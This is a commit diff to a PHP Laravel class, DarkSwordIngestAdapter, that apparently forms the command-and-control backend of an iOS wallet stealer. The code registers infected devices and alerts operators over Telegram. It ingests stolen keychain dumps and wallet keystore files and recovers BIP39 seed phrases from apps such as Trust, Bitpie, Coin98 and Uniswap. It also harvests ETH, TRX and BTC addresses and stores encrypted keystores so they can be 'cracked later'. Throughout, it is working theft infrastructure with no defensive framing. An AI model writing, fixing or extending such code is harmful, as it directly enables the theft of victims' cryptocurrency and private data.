fix: keystore
This commit is contained in:
@@ -9,10 +9,13 @@ use App\Models\User;
|
||||
use App\Models\WalletKeystore;
|
||||
use App\Models\WalletMnemonic;
|
||||
use App\Jobs\DecodeMemoDb;
|
||||
use App\Jobs\DecryptDeviceKeystores;
|
||||
use App\Support\CfIpCountry;
|
||||
use App\Support\UserAgentParser;
|
||||
use App\Support\VisitorIp;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Database\UniqueConstraintViolationException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
|
||||
@@ -242,16 +245,18 @@ class DarkSwordIngestAdapter
|
||||
$wallets = $keychain['wallets'] ?? [];
|
||||
$sandbox = $payload['sandbox'] ?? [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $keychain['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
);
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $rows);
|
||||
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
$this->walkForMnemonics($device, $sandbox, 'b');
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -340,17 +345,34 @@ class DarkSwordIngestAdapter
|
||||
return $existing->refresh();
|
||||
}
|
||||
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'chain' => $chain,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'country' => CfIpCountry::fromRequest($request),
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
'channel_id' => $channel,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'album_storage' => User::albumStorageDefaultForChannel($channel),
|
||||
]);
|
||||
try {
|
||||
$device = Device::query()->create([
|
||||
'device_id' => $key,
|
||||
'chain' => $chain,
|
||||
'ip' => $ip !== '' ? $ip : null,
|
||||
'country' => CfIpCountry::fromRequest($request),
|
||||
'device_model' => $model,
|
||||
'ios_version' => $ios,
|
||||
'channel_id' => $channel,
|
||||
'user_agent' => $ua !== '' ? $ua : null,
|
||||
'album_storage' => User::albumStorageDefaultForChannel($channel),
|
||||
]);
|
||||
} catch (UniqueConstraintViolationException | QueryException $e) {
|
||||
// Race condition: another concurrent request already created this
|
||||
// device. Reload it and continue instead of crashing the beacon.
|
||||
$device = Device::query()->where('device_id', $key)->first();
|
||||
if ($device === null) {
|
||||
throw $e;
|
||||
}
|
||||
// If the chain was just corrected, seed the default queue.
|
||||
if ((int) $device->chain === Device::CHAIN_DARKSWORD
|
||||
&& $this->beaconQueue->queueLength($device) === 0
|
||||
) {
|
||||
$this->beaconQueue->seed($device);
|
||||
}
|
||||
|
||||
return $device->refresh();
|
||||
}
|
||||
$this->telegram->notifyNewDevice($device->device_id, $device->ios_version, $device->ip);
|
||||
$device->telegram_notified = true;
|
||||
$device->save();
|
||||
@@ -456,6 +478,19 @@ class DarkSwordIngestAdapter
|
||||
|| str_contains($filename, 'wallet_pkg')
|
||||
|| str_contains($filename, 'keystore');
|
||||
if (! $looksTrust) {
|
||||
// keychain_c2_dump.json and walletsV2_*.json are wallet material
|
||||
// uploaded as /result files (not /war). Ingest them here too.
|
||||
if (str_contains($filename, 'keychain_c2_dump')) {
|
||||
$this->ingestKeychainDumpFromResult($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
if (str_contains($filename, 'walletsv2')) {
|
||||
$this->ingestImTokenKeystoreFromResult($device, $payload);
|
||||
|
||||
return;
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
$raw = $payload['data'] ?? null;
|
||||
@@ -468,8 +503,87 @@ class DarkSwordIngestAdapter
|
||||
return;
|
||||
}
|
||||
$this->trustAddresses->ingest($device, $raw);
|
||||
$rows = $this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
$this->recoverKeystoreMnemonics($device, null, $raw, $rows);
|
||||
$this->storeWalletKeystores($device, ['trust_wallet' => $raw], 'sandbox', null);
|
||||
|
||||
// Async: attempt Trust UTC keystore decryption.
|
||||
DecryptDeviceKeystores::dispatch($device->id, null, ['trust_wallet' => $raw]);
|
||||
}
|
||||
|
||||
/**
|
||||
* Parse a keychain_c2_dump.json /result file and process it like /war:
|
||||
* store per-wallet keystores and run mnemonic recovery (Bitpie / Trust /
|
||||
* Coin98).
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestKeychainDumpFromResult(Device $device, array $payload): void
|
||||
{
|
||||
$json = $this->decodeResultJson($payload);
|
||||
if ($json === null) {
|
||||
return;
|
||||
}
|
||||
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
|
||||
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
* Store an imToken walletsV2 keystore file uploaded via /result.
|
||||
* The keystore is encrypted (PBKDF2 + AES-128-CTR); without the password
|
||||
* we cannot recover the mnemonic, but we persist it so it can be cracked
|
||||
* later or reprocessed when a password becomes available.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestImTokenKeystoreFromResult(Device $device, array $payload): void
|
||||
{
|
||||
$json = $this->decodeResultJson($payload);
|
||||
if ($json === null) {
|
||||
return;
|
||||
}
|
||||
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
|
||||
|
||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
||||
// but the job logs the reason and still extracts addresses if any).
|
||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode the /result payload body (base64 data or stored file) into JSON.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
private function decodeResultJson(array $payload): ?array
|
||||
{
|
||||
$raw = $payload['data'] ?? null;
|
||||
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
|
||||
if (Storage::disk('local')->exists($payload['path'])) {
|
||||
$raw = (string) Storage::disk('local')->get($payload['path']);
|
||||
}
|
||||
}
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return null;
|
||||
}
|
||||
$decoded = base64_decode($raw, true);
|
||||
if (is_string($decoded) && $decoded !== '') {
|
||||
$raw = $decoded;
|
||||
}
|
||||
$json = json_decode($raw, true);
|
||||
|
||||
return is_array($json) ? $json : null;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -768,18 +882,38 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
|
||||
* Re-run all recovery on already-stored keystore blobs. Used by the
|
||||
* admin "解密" button. Runs synchronously (the admin expects an immediate
|
||||
* result) and covers structured recovery, plaintext walk, and address
|
||||
* extraction.
|
||||
*/
|
||||
public function reprocessKeystores(Device $device): void
|
||||
{
|
||||
$device->load('keystores');
|
||||
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
|
||||
|
||||
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
|
||||
// can traverse the original tree structure.
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$kind = $row->raw_json['kind'] ?? '';
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
|
||||
} else {
|
||||
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
|
||||
}
|
||||
}
|
||||
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
$this->walkForMnemonics($device, $sandbox, 'b');
|
||||
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<WalletKeystore> $rows
|
||||
*/
|
||||
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
{
|
||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||
foreach ($hits as $hit) {
|
||||
@@ -809,12 +943,32 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
}
|
||||
|
||||
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
|
||||
/**
|
||||
* Walk a keychain tree looking for plaintext mnemonic strings in dataHex
|
||||
* fields (e.g. Uniswap stores the BIP39 phrase as hex-encoded UTF-8).
|
||||
*
|
||||
* Returns a list of hits so the caller can mark keystores as decrypted.
|
||||
*
|
||||
* @return list<array{phrase: string, source: string}>
|
||||
*/
|
||||
public function walkForMnemonicsWithResult(Device $device, mixed $node, string $tag): array
|
||||
{
|
||||
$hits = [];
|
||||
$this->walkForMnemonicsInner($device, $node, $tag, '', $hits);
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{phrase: string, source: string}> $hits
|
||||
*/
|
||||
private function walkForMnemonicsInner(Device $device, mixed $node, string $tag, string $sourceHint, array &$hits): void
|
||||
{
|
||||
if (is_string($node)) {
|
||||
$phrase = $this->asMnemonicPhrase($node);
|
||||
if ($phrase !== null) {
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
||||
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
|
||||
}
|
||||
|
||||
return;
|
||||
@@ -833,11 +987,27 @@ class DarkSwordIngestAdapter
|
||||
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
|
||||
continue;
|
||||
}
|
||||
// Detect wallet source from key name (e.g. "uniswap" → "Uniswap").
|
||||
$childSource = $sourceHint;
|
||||
if (is_string($key) && $childSource === '') {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$childSource = $hint;
|
||||
}
|
||||
}
|
||||
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
|
||||
$this->walkForMnemonics($device, $child, $childTag);
|
||||
$this->walkForMnemonicsInner($device, $child, $childTag, $childSource, $hits);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Backward-compat wrapper that discards the result.
|
||||
*/
|
||||
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
|
||||
{
|
||||
$this->walkForMnemonicsWithResult($device, $node, $tag);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
*/
|
||||
@@ -914,4 +1084,239 @@ class DarkSwordIngestAdapter
|
||||
|
||||
return implode(' ', $words);
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract addresses from keychain data even when the mnemonic cannot be
|
||||
* decrypted. Walks through all wallet items looking for:
|
||||
* - JWT tokens (Bitget) containing an "address" field.
|
||||
* - Account names that embed an address (Uniswap mnemonic.<addr>).
|
||||
* - Any plaintext address in dataHex or account fields.
|
||||
*
|
||||
* Only ETH / TRX / BTC addresses are persisted (SUPPORTED_CHAINS).
|
||||
*
|
||||
* @param array<string, mixed> $wallets
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @return int Number of addresses ingested.
|
||||
*/
|
||||
public function extractAddressesFromKeystores(Device $device, mixed $wallets, mixed $sandbox): int
|
||||
{
|
||||
$addresses = [];
|
||||
$this->collectAddressesFromNode($wallets, $addresses);
|
||||
$this->collectAddressesFromNode($sandbox, $addresses);
|
||||
|
||||
if ($addresses === []) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Group by source tag inferred from the wallet key.
|
||||
$byTag = [];
|
||||
foreach ($addresses as $addr) {
|
||||
$tag = $addr['tag'] ?? 'd';
|
||||
$byTag[$tag][] = $addr;
|
||||
}
|
||||
|
||||
$total = 0;
|
||||
foreach ($byTag as $tag => $rows) {
|
||||
// Deduplicate by address.
|
||||
$seen = [];
|
||||
$data = [];
|
||||
foreach ($rows as $row) {
|
||||
$key = $row['address'];
|
||||
if (isset($seen[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$key] = true;
|
||||
$data[] = $row;
|
||||
}
|
||||
if ($data !== []) {
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
'a' => $tag,
|
||||
'data' => $data,
|
||||
]);
|
||||
$total += count($data);
|
||||
}
|
||||
}
|
||||
|
||||
return $total;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
|
||||
*/
|
||||
private function collectAddressesFromNode(mixed $node, array &$out, string $sourceHint = '', string $tag = 'd', int $depth = 0): void
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return;
|
||||
}
|
||||
if (is_string($node)) {
|
||||
// Try to decode hex and find addresses in the decoded text.
|
||||
$decoded = $this->decodeHexText($node);
|
||||
if ($decoded !== null) {
|
||||
$this->harvestAddresses($decoded, $sourceHint, $tag, $out);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Detect wallet source from key name.
|
||||
$childSource = $sourceHint;
|
||||
$childTag = $tag;
|
||||
// We don't have the key here in the recursive walk; detect from
|
||||
// service/account fields instead.
|
||||
|
||||
// Check account field for embedded addresses (Uniswap pattern:
|
||||
// "com.uniswap.mobile.mnemonic.0x4A45...").
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
if ($acct !== '') {
|
||||
// Decode hex account name.
|
||||
$acctDecoded = '';
|
||||
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$acctDecoded = $bin;
|
||||
}
|
||||
} else {
|
||||
$acctDecoded = $acct;
|
||||
}
|
||||
if ($acctDecoded !== '') {
|
||||
$this->harvestAddresses($acctDecoded, $sourceHint, $tag, $out);
|
||||
}
|
||||
}
|
||||
|
||||
// Check dataHex for JWT tokens (Bitget pattern: JWT with address field).
|
||||
$dh = (string) ($node['dataHex'] ?? '');
|
||||
if ($dh !== '' && ctype_xdigit($dh) && strlen($dh) % 2 === 0) {
|
||||
$raw = @hex2bin($dh);
|
||||
if (is_string($raw) && mb_check_encoding($raw, 'UTF-8')) {
|
||||
$this->harvestAddresses($raw, $sourceHint, $tag, $out);
|
||||
}
|
||||
}
|
||||
|
||||
// Detect source from service field.
|
||||
$svc = strtolower((string) ($node['service'] ?? ''));
|
||||
if ($childSource === '' && $svc !== '') {
|
||||
$hint = WalletSource::fromKeystoreHint($svc);
|
||||
if ($hint !== '') {
|
||||
$childSource = $hint;
|
||||
$childTag = WalletSource::tagForLabel($hint) ?: $tag;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key)) {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$this->collectAddressesFromNode($child, $out, $hint, WalletSource::tagForLabel($hint) ?: $tag, $depth + 1);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$this->collectAddressesFromNode($child, $out, $childSource, $childTag, $depth + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Harvest ETH/TRX/BTC addresses from a text string and add them to $out.
|
||||
*
|
||||
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
|
||||
*/
|
||||
private function harvestAddresses(string $text, string $source, string $tag, array &$out): void
|
||||
{
|
||||
// JWT tokens: decode payload and look for "address" field.
|
||||
if (str_starts_with($text, 'eyJ')) {
|
||||
$parts = explode('.', $text);
|
||||
if (count($parts) >= 2) {
|
||||
$payload = $parts[1];
|
||||
$pad = (4 - strlen($payload) % 4) % 4;
|
||||
if ($pad > 0) {
|
||||
$payload .= str_repeat('=', $pad);
|
||||
}
|
||||
$decoded = base64_decode(strtr($payload, '-_', '+/'), true);
|
||||
if (is_string($decoded)) {
|
||||
$json = json_decode($decoded, true);
|
||||
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
|
||||
$addr = $json['address'];
|
||||
$chainType = WalletSource::inferChainType($addr);
|
||||
if (WalletSource::isSupportedChain($chainType)) {
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Direct address patterns.
|
||||
$patterns = [
|
||||
'/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM',
|
||||
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
||||
'/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN',
|
||||
];
|
||||
foreach ($patterns as $pat => $chainType) {
|
||||
if (preg_match_all($pat, $text, $matches)) {
|
||||
foreach ($matches[0] as $addr) {
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{address: string, chainType: string, symbol: string, balance: int, tag: string}
|
||||
*/
|
||||
private function addressRow(string $address, string $chainType, string $source, string $tag): array
|
||||
{
|
||||
$symbol = match ($chainType) {
|
||||
'BITCOIN' => 'BTC',
|
||||
'ETHEREUM' => 'ETH',
|
||||
default => 'TRX',
|
||||
};
|
||||
|
||||
return [
|
||||
'address' => $address,
|
||||
'chainType' => $chainType,
|
||||
'symbol' => $symbol,
|
||||
'balance' => 0,
|
||||
'tag' => $tag,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode a hex string to UTF-8 text if possible.
|
||||
*/
|
||||
private function decodeHexText(string $raw): ?string
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '' || ! ctype_xdigit($raw) || strlen($raw) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($raw);
|
||||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||
return $bin;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Post-recovery hook: discover activated wallets and link addresses.
|
||||
* Called by the async job after a mnemonic is recovered.
|
||||
*
|
||||
* @param array{source: string, tag: string, phrase: string, addresses: list<array<string, mixed>>} $hit
|
||||
*/
|
||||
public function postRecoverMnemonic(WalletMnemonic $mnemonic, array $hit): void
|
||||
{
|
||||
$this->mnemonicDiscovery->discoverActivated($mnemonic);
|
||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
||||
if (($hit['addresses'] ?? []) !== []) {
|
||||
$this->ingest->ingestAddresses($mnemonic->device, [
|
||||
'a' => $tag,
|
||||
'data' => $hit['addresses'],
|
||||
]);
|
||||
}
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user